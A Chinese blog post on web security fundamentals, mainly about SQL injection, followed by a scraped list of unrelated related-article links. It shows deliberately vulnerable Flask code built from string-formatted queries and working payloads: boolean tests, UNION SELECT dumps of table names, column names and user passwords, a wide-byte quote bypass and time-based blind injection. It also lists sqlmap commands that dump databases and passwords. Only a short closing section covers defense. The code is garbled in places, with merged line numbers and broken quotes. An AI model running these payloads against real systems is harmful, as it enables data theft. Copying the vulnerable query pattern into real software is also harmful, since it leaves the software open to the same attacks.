零、前言

最近做专心web安全有一段时间了,但是目测后面的活会有些复杂,涉及到更多的中间件、底层安全、漏洞研究与安全建设等越来越复杂的东东,所以在这里想写一个系列关于web安全基础以及一些讨巧的payload技巧以便于备忘。不是大神、博客内容非常基础,如果真的有人看而且是大牛们,请不要喷我,欢迎指正我的错误(水平有限)。

一、SQL注入的本质:

用户的输入与代码中的SQL语句拼接,可以构成完整的有效的可执行的数据库增删改查操作指令,送入web程序中被执行。攻击者的关键在于猜测并构造完整的可执行的SQL语句。

二、SQL注入的分类:

1、数字类:

1 #数字类:

2 @app.route("/sqlinjection",methods=["GET","POST"])3 defsqlinjection():4 id = request.args.get("id")5 sql = "select * from tablename where id='%s';"%str(id)6 cur.execute(sql)7 ret =cur.fetchall()8 return jsonify({"data":ret})9

10 #攻击数字型:

11 """

12 #GET:13 https://www.text.com/sqlinjection?id=1and1=1(适用于python、php等动态类型语言)14 https://www.text.com/sqlinjection?id=1and1=2(适用于python、php等动态类型语言)15 https://www.text.com/sqlinjection?id=1+1(适用于java、C++等静态类型语言)16 #POST17 id 在POST数据部分,其他没有差别18 """

2、字符串类:

1 #字符串类:

2 @app.route("/sqlinjection",methods=["GET","POST"])3 defsqlinjection():4 strid = request.args.get("strid")5 sql = "select * from tablename where strid='%s';"%str(strid)6 cur.execute(sql)7 ret =cur.fetchall()8 return jsonify({"data":ret})9

10 #攻击字符串型:

11 """

12 #GET:13 https://www.text.com/sqlinjection?strid=1'and'1'='114 https://www.text.com/sqlinjection?id=1'and'1'='215 使用'或者使用" 根据情况而定16 #POST17 strid 在POST数据部分,其他没有差别18 """

3、模糊字符串类:

1 #模糊字符串查询类:

2 @app.route("/sqlinjection",methods=["GET","POST"])3 defsqlinjection():4 strid = request.args.get("strid")5 sql = "select * from tablename where strid like ‘%%s%;"%str(strid)6 cur.execute(sql)7 ret =cur.fetchall()8 return jsonify({"data":ret})9

10 #攻击模糊字符串查询型:

11 """

12 #GET:13 https://www.text.com/sqlinjection?strid=1%'%20or%20strid%20like%20'%214 使用'或者使用" 根据情况而定15 #POST16 strid 在POST数据部分,其他没有差别17 """

三、常用手工暴数据:

1 #常用手工暴数据流程(MySQL):

2 """

3 1、首先验证是否有漏洞,and 1=1 and 1=2 字符型时候记得加引号和注释符,数字型看情况加注释符,加注释符号的原因是注释掉后面的语句,排除干扰。4

5 2、验证有洞后,观察能显示的数据项,一般使用order by x 即可。6

7 3、union all select x,x,x,database(),x,x balabala 获取数据名称 @version 获取数据库版本也是重要的8

9 4、获取表名10 ' and 1=0 union all select 1,table_schema,table_name,4,5,6,7 from information_schema.tables where table_schema != 'mysql' and table_schema != 'information_schema' -- -11

12 5、获取列名13 ' and 1=0 union all select 1,table_name, column_name,4,5,6,7 from information_schema.columns where table_schema != 'mysql' and table_schema != 'information_schema' and table_schema='bWAPP' and table_name='users' -- -14

15 6、获取数据16 ' and 1=0 union all select 1,login,password,secret,email,admin,7 from users-- -17 """

四、宽字节注入:

1、%BF%27 addslashes给‘也就是%27加\成了%BF%5C%27 ->�' 后面跟and sleep(5) -- - ok  利用编码方式规避。

五、盲注:

1、盲注指的是不通过直接显示数据库中的数据而是通过响应的不同来猜解数据。

#这种不同:

(1)延时返回

(2)条件判断响应(条件为真,语句执行。调价为假,语句不执行,结果不同)

(3)错误不同

#一般来说就是

(1)基于时间类型的盲注

(2)基于布尔类型的盲注

(3)基于异常类型的盲注

2、首先讲一下时间盲注

1 #sleep(5) 延时响应(mysql)

2 #delay '0:0:5' 延时响应(mssql)

通过判断 IF 如何如何 条件成立时候执行延时语句,通过响应时间来判断条件是否成立。

这种if 语句可以如下:

1 """

2 if(expr1,result1,result2)#如果expr1成立 result1 否则 result23 #常用:4 sleep(5)->延时5s5 substring(string_var_name,1,1)6 #数字分别是起始位置下标 以及 长度benchmark用来做到标准延时,其实没有必须用的必要,执行什么什么多少次。7 #所以一个SQL盲注可以构造8 select * from tablename where id='103' and if(substring(database(),1,1)='a',sleep(5),null)';9 """

3、布尔类型盲注

简单的常用 or 1=1 1=2 ‘1’=‘1’ ‘2’=‘1’这种如果注入点在order_by 后面 可以如下构造利用order_by if(1,1,(select 1 union select 2)) limit 0,x

六、SQLMAP使用:

1 #1、基本GET 类型:2 python sqlmap.py -u "http://www.a.b.c.d?id=123"#多个参数指定参数时用*

3 python sqlmap.py -u "http://www.a.b.c.d?id=123"--dbs #爆数据库类型4 python sqlmap.py -u "http://www.a.b.c.d?id=123"--current-db #当前使用的数据库5 python sqlmap.py -u "http://www.a.b.c.d?id=123"--current-users #暴当前用户6 python sqlmap.py -u "http://www.a.b.c.d?id=123"--users #暴用户7 python sqlmap.py -u "http://www.a.b.c.d?id=123"--passwords #暴密码8 python sqlmap.py -u "http://www.a.b.c.d?id=123"-D currentdatabase --tables #当前使用的表9 python sqlmap.py -u "http://www.a.b.c.d?id=123"-D currentdatabase -T tablename --columns #暴字段10 python sqlmap.py -u "http://www.a.b.c.d?id=123"-D currentdatabase -T tablename -C "name1,name2,..." --dump #暴数据11

12 #2、POST13 #burp抓包保存为 post.txt14 sqlmap.py -r "c:\Users\fendo\Desktop\post.txt" -p n --dbs #其他类似15

16 sqlmap.py -u "http://192.168.160.1/sqltest/post.php" --forms #自动寻找表单字段,交互式询问确定17 sqlmap -u http://xxx.xxx.com/Login.asp --data "n=1&p=1"

七、SQLMAP一些注意点:

1 #1、https 时候记得host后面需要时加上:443

2 #2、--smart 启发式扫描3 #3、*号更适合json请求数据4 #4、常用的python sqlmap.py -l/r post.txt --level 5 --risk 3 --dbs --smart

八、防御:

1、过滤,使用标准的语言内置的过滤函数,或者自写过滤函数,需要过滤的一般有:'   "   %20   #    -   =   以及SQL关键词。

2、预编译或者使用ODD\PDO(代码web框架里面的的数据库操作类)等:

1 @app.route("/sqlinjection",methods=["GET","POST"])2 defsqlinjection():3 strid = request.args.get("strid")4 cur.execute(""select * from tablename where strid = '%s';",(strid))

5 ret =cur.fetchall()6 return jsonify({"data":ret})

mysql xpath注入工具_WEB安全第四篇--与数据库的亲密接触:SQL注入攻击相关推荐

  1. 【Android 逆向】Android 进程注入工具开发 ( 总结 | 源码编译 | 逆向环境搭建使用 | 使用进程注入工具进行逆向操作 ) ★★★

    文章目录 一.Android 进程注入工具开发系列博客 二.Android 进程注入工具 源码下载编译 三.逆向环境搭建 四.使用注入工具进行逆向操作 1.获取远程进程号 2.注入工具准备 3.注入动 ...

  2. mysql 注入 绕过防火墙_绕过阿里云防火墙继续扫描探测和SQL注入

    前言 如今的互联网,WAF泛滥的年代,实在让我等脚本小子苦恼ing,尤其是阿里云服务器的自带防护,那不是一般的叫人牙疼,十个站8个站都是阿里云.... 最近遇到几个站都是阿里云的服务器,比如:泛微e- ...

  3. 【SQL注入技巧拓展】————13、我的WafBypass之道(SQL注入篇)

    0x00 前言 去年到现在就一直有人希望我出一篇关于WAF的文章,我觉得这种老生常 谈的话题也没什么可写的.很多人一遇到waf就发懵,不知如何是好,能搜到的各种姿势也是然并卵.但是积累姿势的过程也是迭 ...

  4. 注入中转生成器php,泛微协同商务系统e-cology某处SQL注入(附验证中转脚本)

    泛微协同商务系统e-cology某处SQL注入(附验证中转脚本) 随便找个吧 以http://**.**.**.**//services/MobileService?wsdl为例 使用wvs chec ...

  5. JDBC:使用Statement操作数据库时产生的SQL注入问题原因分析

    SQL注入问题简单介绍 1.JDBC中使用Stement对数据库增删改查, 执行sql语句时使用拼接字符串会导致SQL注入 2.JDBC中使用PreaparedStement可以有效避免SQL注入问题 ...

  6. /plus/recommend.php sql注入漏洞,代码审计:ThinkPHP框架通杀所有版本的一个SQL注入漏洞详细分析及测试方法 | Seay 渗透 编程 代码审计 网络安全博客...

    显示不全请点击全屏阅读 下面是摘自thinkphp官方的一个公告,官方直接贴出这些东西是非常不负责的行为,跟上次apache公开的Struts2的代码执行一样的行为,会造成很多用户被黑.建议类似的厂商 ...

  7. MySQL 表的增删改查(进阶篇①)· 数据库约束 · 表的设计 · 新增查询结果 · 聚合查询 · 聚合函数 · group by · having · 笛卡尔积

    一.数据库约束 1.1 约束类型 1.2 非空约束 not null 1.3 唯一约束 unique 1.4 默认约束 default 1.5 主键约束 primary key 1.6 自增主键 pr ...

  8. 存在sql注入漏洞的php,TCCMS在app/controller/news.class.php存在sql注入漏洞

    ### 1. 漏洞成因 在app/controller/news.class.php中all函数对参数过滤不严 ``` public function all() { $this->userIs ...

  9. MyBatis知识汇总(第四篇)分页:LIMT(SQL方式),RowBounds(Java对象方式)

    前言:学习自https://www.bilibili.com/video/BV1NE411Q7Nx?p=9 文章目录 分页 1.LIMT(SQL方式)--推荐 2.RowBounds(Java对象方式 ...

最新文章

  1. 2556. [NOIP2016]玩具谜题
  2. can a select block a truncate (ZT)
  3. JavaWeb 入门篇(3)ServletContext 详解 具体应用
  4. 你们的数学老师是怎么读这些符号?
  5. 1092. To Buy or Not to Buy (20)
  6. kubernetes 学习 pod相关
  7. C++ VS2012 内存泄露检测
  8. 2008.5调试安装hp dl385 两台hp dl585
  9. 在桌面为计算机程序创建快捷方式,什么是快捷方式,电脑快捷方式有什么用?...
  10. 英文论文检索数据库以及英文文献下载
  11. APP项目完整工作流程
  12. 迪文屏幕ttl转232选择
  13. react在线浏览doc_如何实现 React 中的状态自动保存?
  14. Netty详解第二课 Netty进阶和优化
  15. lncRNA数据分析专题
  16. 如何在充满不确定性的当下探索未来?
  17. P1129 矩阵游戏
  18. NOJ——1665夜神的思考(YY+组合问题+分类讨论)
  19. Opencv中的convertTo
  20. python网络课程答案_Python语言应用知到网课答案

热门文章

  1. hdu1814 Peaceful Commission 2-sat
  2. 还记得最初的梦想么?——2018年小结
  3. 物联网应用技术和计算机应用技术哪个更好,物联网应用技术和计算机应用技术的优劣?...
  4. web安全入门之SQL注入-时间型盲注
  5. 为音视频自动生成字幕的python工具
  6. 【论文学习】《A Survey on Neural Speech Synthesis》
  7. Python文本分析(NLTK,jieba,snownlp)
  8. MES如何对车间设备进行调度和控制实现智能化生产(一)
  9. 字符串使用split()方法截取时的空字符串问题
  10. python图片转换成文字的手机软件_手机如何将图片转换成文字?用这两种方法转换很简单...